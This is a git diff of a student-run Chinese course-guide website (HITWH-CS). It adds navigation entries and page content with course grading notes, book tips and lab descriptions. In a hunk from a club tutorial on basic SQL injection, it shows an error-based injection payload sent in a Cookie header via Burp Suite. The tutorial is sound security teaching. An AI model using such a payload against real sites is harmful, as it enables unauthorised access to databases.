    + + + diff --git "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/17/index.html" "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/17/index.html" index ec3fab3..19291bc 100644 --- "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/17/index.html" +++ "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/17/index.html" @@ -438,6 +438,26 @@ + + + + + + +
  • + + + + + + 知识-技术 + + +
  • + + + + @@ -3585,6 +3605,64 @@ + + + + + + + + + + + + + + + + + + + + + +
  • + + + + + + + + + + + +
  • + + + @@ -3618,7 +3696,38 @@

    中国古代工艺美术欣赏

    - +
    + + + diff --git "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/18/index.html" "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/18/index.html" index 5d05498..3315538 100644 --- "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/18/index.html" +++ "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/18/index.html" @@ -443,6 +443,26 @@ + + + + + + +
  • + + + + + + 知识-技术 + + +
  • + + + + @@ -3649,6 +3669,64 @@ + + + + + + + + + + + + + + + + + + + + + +
  • + + + + + + + + + + + +
  • + + + @@ -3730,6 +3808,38 @@

    任课教师

    分数构成

    前六节课有上琴(物理意义上的摸琴)和五线谱绘图,缺一次扣十分,最后两节课可能有点名,点住了群内挂人通报,最后的大作业是一篇论文,手写,要注明参考文献的那种。总之,这个课不太好拿分。

    +
    + + + diff --git "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/19/index.html" "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/19/index.html" index bc25e02..a3a8463 100644 --- "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/19/index.html" +++ "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/19/index.html" @@ -438,6 +438,26 @@ + + + + + + +
  • + + + + + + 知识-技术 + + +
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  • + + + + + + + + + + + +
  • + + + @@ -3618,7 +3696,38 @@

    中国古代音乐史中的古琴艺术

    - +
    + + + diff --git "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/2/index.html" "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/2/index.html" index bc0f987..389ec5c 100644 --- "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/2/index.html" +++ "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/2/index.html" @@ -438,6 +438,26 @@ + + + + + + +
  • + + + + + + 知识-技术 + + +
  • + + + + @@ -3585,6 +3605,64 @@ + + + + + + + + + + + + + + + + + + + + + +
  • + + + + + + + + + + + +
  • + + + @@ -3618,7 +3696,38 @@

    声乐基础知识

    - +
    + + + diff --git "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/3/index.html" "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/3/index.html" index dab0ece..40a9781 100644 --- "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/3/index.html" +++ "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/3/index.html" @@ -438,6 +438,26 @@ + + + + + + +
  • + + + + + + 知识-技术 + + +
  • + + + + @@ -3585,6 +3605,64 @@ + + + + + + + + + + + + + + + + + + + + + +
  • + + + + + + + + + + + +
  • + + + @@ -3618,7 +3696,38 @@

    民族民间舞

    - +
    + + + diff --git "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/4/index.html" "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/4/index.html" index 6d78289..1825fb7 100644 --- "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/4/index.html" +++ "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/4/index.html" @@ -438,6 +438,26 @@ + + + + + + +
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  • + + + + + + + + + + + +
  • + + + @@ -3618,7 +3696,38 @@

    京剧基本功

    - +
    + + + diff --git "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/5/index.html" "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/5/index.html" index bfe4242..1b4ac0f 100644 --- "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/5/index.html" +++ "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/5/index.html" @@ -438,6 +438,26 @@ + + + + + + +
  • + + + + + + 知识-技术 + + +
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  • + + + + + + + + + + + +
  • + + + @@ -3618,7 +3696,38 @@

    综合乐理知识

    - +
    + + + diff --git "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/6/index.html" "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/6/index.html" index bd3e4a4..bb150f9 100644 --- "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/6/index.html" +++ "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/6/index.html" @@ -438,6 +438,26 @@ + + + + + + +
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  • + + + + + + + + + + + +
  • + + + @@ -3618,7 +3696,38 @@

    声乐初阶

    - +
    + + + diff --git "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/7/index.html" "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/7/index.html" index 9bc28b2..4c2b367 100644 --- "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/7/index.html" +++ "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/7/index.html" @@ -438,6 +438,26 @@ + + + + + + +
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  • + + + + + + + + + + + +
  • + + + @@ -3618,7 +3696,38 @@

    中国篆刻艺术

    - +
    + + + diff --git "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/8/index.html" "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/8/index.html" index dd2970c..1f98c62 100644 --- "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/8/index.html" +++ "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/8/index.html" @@ -438,6 +438,26 @@ + + + + + + +
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  • + + + + + + + + + + + +
  • + + + @@ -3618,7 +3696,38 @@

    西方音乐概论

    - +
    + + + diff --git "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/9/index.html" "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/9/index.html" index 1b996e5..3595846 100644 --- "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/9/index.html" +++ "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/9/index.html" @@ -438,6 +438,26 @@ + + + + + + +
  • + + + + + + 知识-技术 + + +
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    艺术概论

    - +
    + + + diff --git "a/culture/\350\207\252\347\204\266\347\247\221\345\255\246\344\270\216\345\267\245\347\250\213\346\212\200\346\234\257/1/index.html" "b/culture/\350\207\252\347\204\266\347\247\221\345\255\246\344\270\216\345\267\245\347\250\213\346\212\200\346\234\257/1/index.html" index 9d3f3c9..9347e68 100644 --- "a/culture/\350\207\252\347\204\266\347\247\221\345\255\246\344\270\216\345\267\245\347\250\213\346\212\200\346\234\257/1/index.html" +++ "b/culture/\350\207\252\347\204\266\347\247\221\345\255\246\344\270\216\345\267\245\347\250\213\346\212\200\346\234\257/1/index.html" @@ -438,6 +438,26 @@ + + + + + + +
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    材料与人类文明

    - +
    + + + diff --git "a/culture/\350\207\252\347\204\266\347\247\221\345\255\246\344\270\216\345\267\245\347\250\213\346\212\200\346\234\257/2/index.html" "b/culture/\350\207\252\347\204\266\347\247\221\345\255\246\344\270\216\345\267\245\347\250\213\346\212\200\346\234\257/2/index.html" index d695ed8..71d39ba 100644 --- "a/culture/\350\207\252\347\204\266\347\247\221\345\255\246\344\270\216\345\267\245\347\250\213\346\212\200\346\234\257/2/index.html" +++ "b/culture/\350\207\252\347\204\266\347\247\221\345\255\246\344\270\216\345\267\245\347\250\213\346\212\200\346\234\257/2/index.html" @@ -438,6 +438,26 @@ + + + + + + +
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    生命科学与伦理

    - +
    + + + diff --git "a/culture/\350\207\252\347\204\266\347\247\221\345\255\246\344\270\216\345\267\245\347\250\213\346\212\200\346\234\257/3/index.html" "b/culture/\350\207\252\347\204\266\347\247\221\345\255\246\344\270\216\345\267\245\347\250\213\346\212\200\346\234\257/3/index.html" index 1e50a91..efa63a9 100644 --- "a/culture/\350\207\252\347\204\266\347\247\221\345\255\246\344\270\216\345\267\245\347\250\213\346\212\200\346\234\257/3/index.html" +++ "b/culture/\350\207\252\347\204\266\347\247\221\345\255\246\344\270\216\345\267\245\347\250\213\346\212\200\346\234\257/3/index.html" @@ -438,6 +438,26 @@ + + + + + + +
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    从量子到宇宙

    - +
    + + + diff --git "a/culture/\350\207\252\347\204\266\347\247\221\345\255\246\344\270\216\345\267\245\347\250\213\346\212\200\346\234\257/4/index.html" "b/culture/\350\207\252\347\204\266\347\247\221\345\255\246\344\270\216\345\267\245\347\250\213\346\212\200\346\234\257/4/index.html" index fb863cd..3b463b8 100644 --- "a/culture/\350\207\252\347\204\266\347\247\221\345\255\246\344\270\216\345\267\245\347\250\213\346\212\200\346\234\257/4/index.html" +++ "b/culture/\350\207\252\347\204\266\347\247\221\345\255\246\344\270\216\345\267\245\347\250\213\346\212\200\346\234\257/4/index.html" @@ -438,6 +438,26 @@ + + + + + + +
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    生命科学热点趣谈

    - +
    + + + diff --git "a/culture/\350\207\252\347\204\266\347\247\221\345\255\246\344\270\216\345\267\245\347\250\213\346\212\200\346\234\257/5/index.html" "b/culture/\350\207\252\347\204\266\347\247\221\345\255\246\344\270\216\345\267\245\347\250\213\346\212\200\346\234\257/5/index.html" index 7a387c4..16eb63f 100644 --- "a/culture/\350\207\252\347\204\266\347\247\221\345\255\246\344\270\216\345\267\245\347\250\213\346\212\200\346\234\257/5/index.html" +++ "b/culture/\350\207\252\347\204\266\347\247\221\345\255\246\344\270\216\345\267\245\347\250\213\346\212\200\346\234\257/5/index.html" @@ -438,6 +438,26 @@ + + + + + + +
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    遗传学与社会

    - +
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    相对论与时空

    - +
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    课程编号

    MT22101

    个人建议

    不要旷课,不然平时分低

    +
    + + + diff --git "a/culture/\350\207\252\347\204\266\347\247\221\345\255\246\344\270\216\345\267\245\347\250\213\346\212\200\346\234\257/8/index.html" "b/culture/\350\207\252\347\204\266\347\247\221\345\255\246\344\270\216\345\267\245\347\250\213\346\212\200\346\234\257/8/index.html" index 267a3c3..e406d48 100644 --- "a/culture/\350\207\252\347\204\266\347\247\221\345\255\246\344\270\216\345\267\245\347\250\213\346\212\200\346\234\257/8/index.html" +++ "b/culture/\350\207\252\347\204\266\347\247\221\345\255\246\344\270\216\345\267\245\347\250\213\346\212\200\346\234\257/8/index.html" @@ -438,6 +438,26 @@ + + + + + + +
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    认识海洋

    - +
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    物理学与社会

    - +
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    荐书

    还算细致地科普计算机组成原理与工作方法的一本小书,二十几块,可以买回来睡不着的时候看看

    课程编号

    XYWHCS14001

    +
    + + + diff --git a/general/generalEnglishA/index.html b/general/generalEnglishA/index.html index 412d63c..1c788ae 100644 --- a/general/generalEnglishA/index.html +++ b/general/generalEnglishA/index.html @@ -443,6 +443,26 @@ + + + + + + +
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    荐书

    买本六级词汇,再从网上打印两套四级题

    课程编号

    XYWHLL12001E

    +
    + + + diff --git a/general/ideology/index.html b/general/ideology/index.html index 308ae50..04486e3 100644 --- a/general/ideology/index.html +++ b/general/ideology/index.html @@ -443,6 +443,26 @@ + + + + + + +
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    分数构成

    课程编号

    XYWHMX11002

    +
    + + + diff --git a/general/index.html b/general/index.html index 05cf43f..7071fb6 100644 --- a/general/index.html +++ b/general/index.html @@ -438,6 +438,26 @@ + + + + + + +
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    介绍

    - +
    + + + diff --git a/general/newthoughts/index.html b/general/newthoughts/index.html index 64260b9..6e3a036 100644 --- a/general/newthoughts/index.html +++ b/general/newthoughts/index.html @@ -443,6 +443,26 @@ + + + + + + +
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    分数构成

    课程编号

    XYWHMX11001

    +
    + + + diff --git a/index.html b/index.html index ad2a7f8..cd59101 100644 --- a/index.html +++ b/index.html @@ -436,6 +436,26 @@ + + + + + + +
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    项目介绍

    俱乐部主页:第五空间网络空间安全俱乐部 请在校园网环境下访问!

    该项目主页地址:哈V 计算机指南

    该项目GitHub地址: 哈V 计算机指南

    +
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    分数构成 +
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    分数构成

    100% 课后报告,要求完成指定的题目并给出WP作为课程报告,根据完成情况打分

    +
    + + + diff --git a/innovation/3/index.html b/innovation/3/index.html index 868d76f..b67b730 100644 --- a/innovation/3/index.html +++ b/innovation/3/index.html @@ -443,6 +443,26 @@ + + + + + + +
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    分数构成

    依据渗透结果进行报告撰写,根据报告给分,占总分的100%

    +
    + + + diff --git a/innovation/index.html b/innovation/index.html index 22f3d3d..e94a099 100644 --- a/innovation/index.html +++ b/innovation/index.html @@ -438,6 +438,26 @@ + + + + + + +
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    介绍

    Note

    一共要求6分毕业,因此缺失的1学分是可以在任意板块之间获取的,可以创新创业学分多获取1分,也可以社会实践学分多获取1分,也可以各多获取0.5分。

    +
    + + + diff --git a/knowledge/index.html b/knowledge/index.html new file mode 100644 index 0000000..add7e32 --- /dev/null +++ b/knowledge/index.html @@ -0,0 +1,3821 @@ + + + + + + + + + + + + + + + + + + + + + 介绍 - HITWH-CS + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
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    介绍

    + +
    +

    知识板块的内容不局限于hitwh,我们希望任何人有用的知识都分享在这里。

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    相关的比赛论文

    国家级、省部级课题50余项,企业成果转化10余项,SCI/EI等100余篇,发明专利50余项

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    相关的比赛论文

    SCI/EI三十余篇,专利和软件著作权二十几项

    +
    + + + diff --git a/labs/acrossMedia/index.html b/labs/acrossMedia/index.html index c47cedd..b048d97 100644 --- a/labs/acrossMedia/index.html +++ b/labs/acrossMedia/index.html @@ -443,6 +443,26 @@ + + + + + + +
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    相关的比赛论文

    本科阶段,可以说是学生论文发的最多,最好的 已发表学术论文近百篇,包括CCF-A类期刊数篇

    +
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    实验室方向论文

    一百余篇论文,其中五十几篇在SCI/EI上,专利70余项,国家重点研发计划、国家自然基金等20余项,软件著作权20余项

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    俱乐部成员要求 +

    2024-04-28   Contributors

    + diff --git a/labs/huaweiTele/index.html b/labs/huaweiTele/index.html index d0a8f47..94b2010 100644 --- a/labs/huaweiTele/index.html +++ b/labs/huaweiTele/index.html @@ -443,6 +443,26 @@ + + + + + + +
  • + + + + + + 知识-技术 + + +
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  • + + + + + + + + + + + +
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    相关的比赛论文

    企业项目,论文不一定能发,代码倒是可以在手机上发布还能跑。

    +
    + + + diff --git a/labs/index.html b/labs/index.html index d321662..c2f0d2e 100644 --- a/labs/index.html +++ b/labs/index.html @@ -438,6 +438,26 @@ + + + + + + +
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    介绍

    校内各个实验室和老师实验室的技术栈以及项目介绍

    +
    + + + diff --git a/labs/vision/index.html b/labs/vision/index.html index c8d4037..737c820 100644 --- a/labs/vision/index.html +++ b/labs/vision/index.html @@ -443,6 +443,26 @@ + + + + + + +
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  • + + + + + + + + + + + +
  • + + + @@ -3776,6 +3854,38 @@

    相关的比赛论文

    国内外CCF A/B期刊及会议有多篇高水平论文

    +
    + + + diff --git a/major/C programming/index.html b/major/C programming/index.html index 49e00c1..e56ae51 100644 --- a/major/C programming/index.html +++ b/major/C programming/index.html @@ -443,6 +443,26 @@ + + + + + + +
  • + + + + + + 知识-技术 + + +
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    建议

    多敲代码,再痛苦也得敲,看完书你以为你懂了,一敲就出bug了——VZstless

    课程编号

    XYWHSE21001

    +
    + + + diff --git a/major/C++/index.html b/major/C++/index.html index 4bd4238..c94d1eb 100644 --- a/major/C++/index.html +++ b/major/C++/index.html @@ -443,6 +443,26 @@ + + + + + + +
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    荐书

    这是另一本书,不要跟上头那本搞混了!如果你熟悉C Primer Plus那就不多解释了,如果你想挑战一下自己那也可以试试这本书?编者的同学甚至收到了这本书作为生日礼物,太有石粒儿了

    课程编号

    XYWHSE32001

    +
    + + + diff --git a/major/index.html b/major/index.html index 0ac69c9..8ed40fa 100644 --- a/major/index.html +++ b/major/index.html @@ -438,6 +438,26 @@ + + + + + + +
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  • + + + + + + + + + + + +
  • + + + @@ -3590,7 +3668,38 @@

    介绍

    - +
    + + + diff --git a/major/manual/index.html b/major/manual/index.html index 67d3281..adfb911 100644 --- a/major/manual/index.html +++ b/major/manual/index.html @@ -443,6 +443,26 @@ + + + + + + +
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  • + + + + + + + + + + + +
  • + + + @@ -3811,6 +3889,38 @@

    分数构成

    <其他可选项目>

    课程编号

    XYWHSE21002(这门课在本专业的地位属于万人之上C语言之下)

    +
    + + + diff --git a/manual/index.html b/manual/index.html index f81eec1..0cad36c 100644 --- a/manual/index.html +++ b/manual/index.html @@ -443,6 +443,26 @@ + + + + + + +
  • + + + + + + 知识-技术 + + +
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  • + + + + + + + + + + + +
  • + + + @@ -4126,6 +4204,38 @@

    远程项目到本地工作关于多人协作

    将多人协作fork到自己的账号仓库下以后,操作和 远程项目到本地工作 相同,参见上文

    推送到自己的仓库以后,请提交pull request等待多人协作仓库管理员的审核,即可合并到主分支完成一次贡献

    +
    + + + diff --git a/outer/index.html b/outer/index.html index de86c09..8593a09 100644 --- a/outer/index.html +++ b/outer/index.html @@ -438,6 +438,26 @@ + + + + + + +
  • + + + + + + 知识-技术 + + +
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  • + + + + + + + + + + + +
  • + + + @@ -3593,6 +3671,38 @@

    介绍

    基于校本部文件(https://hituc.hit.edu.cn/2024/0303/c17811a338922/page.psp) 精神,在 2022 级之后 毕业要求有10个学分的跨专业发展课程学分,由于威海校区培养方案尚未完全确定,2022、23级属于过渡期,具体执行情况仍待观察。

    基于目前威海校区2022级计算机学院培养方案,没有对外专业选修课学分做出要求。

    对于需要出国就读不同专业(或就读专业有具体前置课程要求)的同学,可以通过外专业选修课来完善课程匹配度。另外,在权衡时间后,辅修课程也是个不错的选择。

    +
    + + + diff --git "a/salon/0513/\347\263\273\346\225\260\344\270\272\302\2611\347\232\204n\346\254\241\346\226\271\347\250\213\346\240\271\345\234\250\345\244\215\345\271\263\351\235\242\347\232\204\345\210\206\345\270\203/index.html" "b/salon/0513/\347\263\273\346\225\260\344\270\272\302\2611\347\232\204n\346\254\241\346\226\271\347\250\213\346\240\271\345\234\250\345\244\215\345\271\263\351\235\242\347\232\204\345\210\206\345\270\203/index.html" index 0348b0d..2753226 100644 --- "a/salon/0513/\347\263\273\346\225\260\344\270\272\302\2611\347\232\204n\346\254\241\346\226\271\347\250\213\346\240\271\345\234\250\345\244\215\345\271\263\351\235\242\347\232\204\345\210\206\345\270\203/index.html" +++ "b/salon/0513/\347\263\273\346\225\260\344\270\272\302\2611\347\232\204n\346\254\241\346\226\271\347\250\213\346\240\271\345\234\250\345\244\215\345\271\263\351\235\242\347\232\204\345\210\206\345\270\203/index.html" @@ -443,6 +443,26 @@ + + + + + + +
  • + + + + + + 知识-技术 + + +
  • + + + + @@ -3665,6 +3685,64 @@ + + + + + + + + + + + + + + + + + + + + + +
  • + + + + + + + + + + + +
  • + + + @@ -3938,6 +4016,38 @@

    尾声

    886886

    参考链接:

    https://jump2.bdimg.com/p/3622255435?pn=1

    +
    + + + diff --git a/salon/basic_sql_injection/index.html b/salon/basic_sql_injection/index.html index fe94404..e4fc664 100644 --- a/salon/basic_sql_injection/index.html +++ b/salon/basic_sql_injection/index.html @@ -443,6 +443,26 @@ + + + + + + +
  • + + + + + + 知识-技术 + + +
  • + + + + @@ -3982,6 +4002,64 @@ + + + + + + + + + + + + + + + + + + + + + +
  • + + + + + + + + + + + +
  • + + + @@ -5036,6 +5114,38 @@

    使用 Burp Suite 进行 Header Injection

    故先对网页进行拦截,再修改 cookie 值进行报错注入

    Cookie: uname=admin' or updatexml(1,concat('~',(select database())),3)#
     
    +
    + + + diff --git a/salon/index.html b/salon/index.html index 44b802d..481cdde 100644 --- a/salon/index.html +++ b/salon/index.html @@ -438,6 +438,26 @@ + + + + + + +
  • + + + + + + 知识-技术 + + +
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  • + + + + + + + + + + + +
  • + + + @@ -3591,6 +3669,38 @@

    介绍

    俱乐部内部交流会文档分享,内容和计算机技术相关,不仅仅局限于网络空间安全。

    +
    + + + diff --git "a/salon/\347\272\277\346\200\247\344\273\243\346\225\260\345\234\250\350\256\241\347\256\227\346\234\272\347\232\204\344\270\200\344\272\233\345\272\224\347\224\250/index.html" "b/salon/\347\272\277\346\200\247\344\273\243\346\225\260\345\234\250\350\256\241\347\256\227\346\234\272\347\232\204\344\270\200\344\272\233\345\272\224\347\224\250/index.html" index 78f69d4..010fbde 100644 --- "a/salon/\347\272\277\346\200\247\344\273\243\346\225\260\345\234\250\350\256\241\347\256\227\346\234\272\347\232\204\344\270\200\344\272\233\345\272\224\347\224\250/index.html" +++ "b/salon/\347\272\277\346\200\247\344\273\243\346\225\260\345\234\250\350\256\241\347\256\227\346\234\272\347\232\204\344\270\200\344\272\233\345\272\224\347\224\250/index.html" @@ -443,6 +443,26 @@ + + + + + + +
  • + + + + + + 知识-技术 + + +
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  • + + + + + + + + + + + +
  • + + + @@ -4928,6 +5006,38 @@

    参考 | ReferenceSteven Yue的文章: Steven Yue - 知乎 (zhihu.com)

    2020年Simons格密码讲座:Lattices: Algorithms, Complexity, and Cryptography Boot Camp (berkeley.edu)

    image.png

    +
    + + + diff --git a/search/search_index.json b/search/search_index.json index 7216568..19538a7 100644 --- a/search/search_index.json +++ b/search/search_index.json @@ -1 +1 @@ -{"config":{"lang":["en"],"separator":"[\\s\\u200b\\u3000\\-\u3001\u3002\uff0c\uff0e\uff1f\uff01\uff1b]+","pipeline":["stemmer"]},"docs":[{"location":"","title":"\u9879\u76ee\u4ecb\u7ecd","text":"

    (\uff61\uff65\u2200\uff65)\uff89\uff9e\u55e8\uff0c\u4f60\u53d1\u73b0\u4e86\u00a0Chive

    \u672c\u7f51\u7ad9\u7075\u611f\u6765\u6e90\u4e8e\u6d59\u6c5f\u5927\u5b66\u56fe\u7075\u73ed\u5b66\u4e60\u6307\u5357\u548c\u4e0a\u6d77\u4ea4\u901a\u5927\u5b66\u751f\u5b58\u624b\u518c\u3002

    Note

    \u76ee\u524d\u6211\u4eec\u6b63\u5728\u81f4\u529b\u4e8e\u5411\u8ba1\u7b97\u673a\u5b66\u9662\u5404\u4e2a\u4e13\u4e1a\u63d0\u4f9b\u670d\u52a1\uff0c\u6b22\u8fce\u8fdb\u884cContribute

    \u6211\u4eec\u5e0c\u671b\u5efa\u7acb\u4e00\u4e2a\u4ed3\u5e93\uff0c\u5bf9\u8fd9\u4e9b\u8ba1\u7b97\u673a\u8bfe\u7a0b\u8fdb\u884c\u4e00\u4e9b\u4ecb\u7ecd\uff0c\u5e76\u8865\u5145\u4e00\u4e9b\u8bfe\u7a0b\u5185\u5bb9\u4f9b\u4e13\u4e1a\u65b0\u4eba\u53c2\u8003\u5b66\u4e60\u3002

    \u6b22\u8fce\u5404\u4f4d\u540c\u5b66\u5bf9\u672c\u4ed3\u5e93\u8fdb\u884c\u8d21\u732e\uff01

    P.S. \u672c\u7ad9\u57fa\u672c\u4f9d\u636e\u6d59\u5927\u4ed3\u5e93\u6784\u5efa\uff0c\u611f\u8c22\u6d59\u5927\u56fe\u7075\u73ed\u540c\u5b66\u7684\u8d21\u732e\uff0c\u76f8\u5173\u9879\u76ee\u5982\u4e0b\uff1a

    \u4ff1\u4e50\u90e8\u4e3b\u9875\uff1a\u7b2c\u4e94\u7a7a\u95f4\u7f51\u7edc\u7a7a\u95f4\u5b89\u5168\u4ff1\u4e50\u90e8 \u8bf7\u5728\u6821\u56ed\u7f51\u73af\u5883\u4e0b\u8bbf\u95ee\uff01

    \u8be5\u9879\u76ee\u4e3b\u9875\u5730\u5740\uff1a\u54c8V \u8ba1\u7b97\u673a\u6307\u5357

    \u8be5\u9879\u76eeGitHub\u5730\u5740: \u54c8V \u8ba1\u7b97\u673a\u6307\u5357

    "},{"location":"manual/","title":"\u8d21\u732e\u6307\u5357","text":""},{"location":"manual/#_1","title":"\u9879\u76ee\u7ed3\u6784\u4ecb\u7ecd","text":"
    -|-.github/workflows #\u8fd9\u91cc\u5b58\u50a8github page\u90e8\u7f72yml\n-|-docs #\u8fd9\u4e2a\u76ee\u5f55\u7528\u4e8e\u5b58\u50a8\u6240\u6709\u6587\u6863\u5185\u5bb9\n     |--index.md #HITWH-CS\u7ad9\u70b9\u4e3b\u9875\n     |--others.md #\u6216\u8005\u6709\u5176\u4ed6\u9875\u9762\n     |--example #\u8fd9\u662f\u4e00\u4e2a\u6837\u4f8b\u76ee\u5f55\n            |--index.md #example\u7684\u4e3b\u9875\n            |--others1.md #example\u7684\u5177\u4f53\u5176\u4ed6\u5185\u5bb9\n            |--others2.md #example\u7684\u5177\u4f53\u5176\u4ed6\u5185\u5bb9\n-|-mkdocs.yml #\u7f51\u7ad9\u7684\u914d\u7f6e\u6587\u4ef6\uff0c\u5177\u4f53\u5185\u5bb9\u770b\u4e0b\u6587\n-|-requirments.txt #Python\u7684\u9700\u6c42\u6587\u4ef6\uff0c\u5982\u65e0\u5fc5\u8981\uff0c\u52ff\u589e\u5b9e\u4f53           \n
    "},{"location":"manual/#_2","title":"\u65b0\u589e\u5185\u5bb9\u8bf4\u660e","text":"

    \u5982\u679c\u9700\u8981\u65b0\u589e\u677f\u5757\u548c\u9875\u9762\uff0c\u8bf7\u5bf9 mkdocs.yml \u7684 nav \u677f\u5757\u4e0b\u8fdb\u884c\u4fee\u6539 \u4e0b\u56fe\u662f\u65b0\u589e\u4e00\u4e2a\u901a\u8bc6\u8bfe general \u7684\u6837\u4f8b \u53ef\u4ee5\u770b\u5230\u4e3b\u9875\u548c\u901a\u8bc6\u8bfe\u662f\u4e24\u4e2a\u677f\u5757\u5185\u5bb9\uff0c\u5176\u5404\u81ea\u5bf9\u5e94\u7684\u6587\u6863\u5185\u5bb9\u663e\u793a\u5728\u5de6\u4fa7\u5bfc\u822a\u680f\uff0c\u5982\u4e0b\u56fe\u6240\u793a \u53ef\u4ee5\u770b\u5230\u4e3b\u9875\u76ee\u5f55\u4e0b\u6709 index.md \u9ed8\u8ba4\u4e3b\u9875\u548c next.md \u7684\u6837\u4f8b nav \u6240\u5bf9\u5e94\u7684\u5c31\u662f\u9879\u76ee\u7ed3\u6784\u4e2d docs \u6240\u5bf9\u5e94\u7684\u76ee\u5f55\u7ed3\u6784\uff0c general \u76ee\u5f55\u5bf9\u5e94\u65b0\u589e\u7684\u6838\u5fc3\u8bfe\u7684\u6240\u6709\u5185\u5bb9\uff0c\u4e00\u4e2a\u7248\u5757\u4e00\u4e2a\u76ee\u5f55\uff0c\u65b9\u4fbf\u7ef4\u62a4\uff0c\u4e0b\u9762\u662fgeneral \u76ee\u5f55\u7684\u5185\u5bb9

    "},{"location":"manual/#_3","title":"\u8d21\u732e\u6307\u5357","text":"

    \u672c\u7f51\u7ad9\u6b22\u8fce\u4e00\u5207\u8d21\u732e \u4e0d\u8fc7\u8bfe\u7a0b\u5185\u5bb9\u53ea\u9762\u5411HITWH\u7684\u8bfe\u7a0b\u5185\u5bb9\u8303\u56f4\uff0c\u5982\u679c\u4f60\u60f3\u8981\u4e3a\u672c\u7f51\u7ad9\u8fdb\u884c\u8d21\u732e\uff0c\u4ee5\u4e0b\u662f\u4e00\u4e9b\u6307\u5357\u3002

    \u53ef\u4ee5\u5148\u770b\u4e0b\u6587git\u7684\u4f7f\u7528\uff0c\u4ee5\u719f\u6089git\u7684\u64cd\u4f5c

    "},{"location":"manual/#_4","title":"\u672c\u5730\u6784\u5efa","text":"

    \u9879\u76ee\u62c9\u53d6\uff1a

    git clone https://github.com/Fifth-Space/HITWH-CS.git\ncd HITWH-CS\n
    \u5b89\u88c5 Python \u4f9d\u8d56
    pip install -r requirements.txt\n
    \u5b89\u88c5\u672c\u6587\u6863\u63d2\u4ef6\uff1a
    git clone https://github.com/Fifth-Space/mkdocs_plugins.git\ncd mkdocs_plugins\npip install -e .\ncd ..\n
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    mkdocs serve\n
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    \u901a\u8fc7\u4e24\u6b21\u00a0PR\uff08\u5373\u00a0Pull Request\uff09\u7684\u5f62\u5f0f\u6765\u8fdb\u884c\u8d21\u732e\uff0c\u5177\u4f53\u6d41\u7a0b\uff1a

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    \u8bf7\u52a1\u5fc5\u786e\u8ba4\u5206\u652f\u6b63\u786e

    "},{"location":"manual/#_7","title":"\u9879\u76ee\u89c4\u5212","text":"
